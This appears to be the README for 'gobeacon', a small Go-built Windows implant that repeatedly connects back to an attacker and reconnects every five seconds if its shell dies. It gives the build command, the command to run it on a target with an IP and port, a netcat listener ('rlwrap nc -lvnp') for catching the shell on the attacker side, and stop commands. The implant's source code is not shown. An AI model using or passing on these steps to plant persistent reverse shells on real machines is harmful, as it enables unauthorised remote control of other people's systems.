A small beaconing windows implant that repeatedly calls out to the user. If the shell dies, the implant beacons again in 5 seconds.

go build gobeacon.go

./gobeacon start <IP> <PORT>

On target:

./gobeacon start 127.0.0.1 9001

On attacker:

rlwrap nc -lvnp 9001

To stop the beacon:

./gobeacon stop 127.0.0.1 9001

OR From inside the shell

beacon> exit

Creds to this blogpost where I ripped some daemonization code from: https://socketloop.com/tutorials/golang-daemonizing-a-simple-web-server-process-example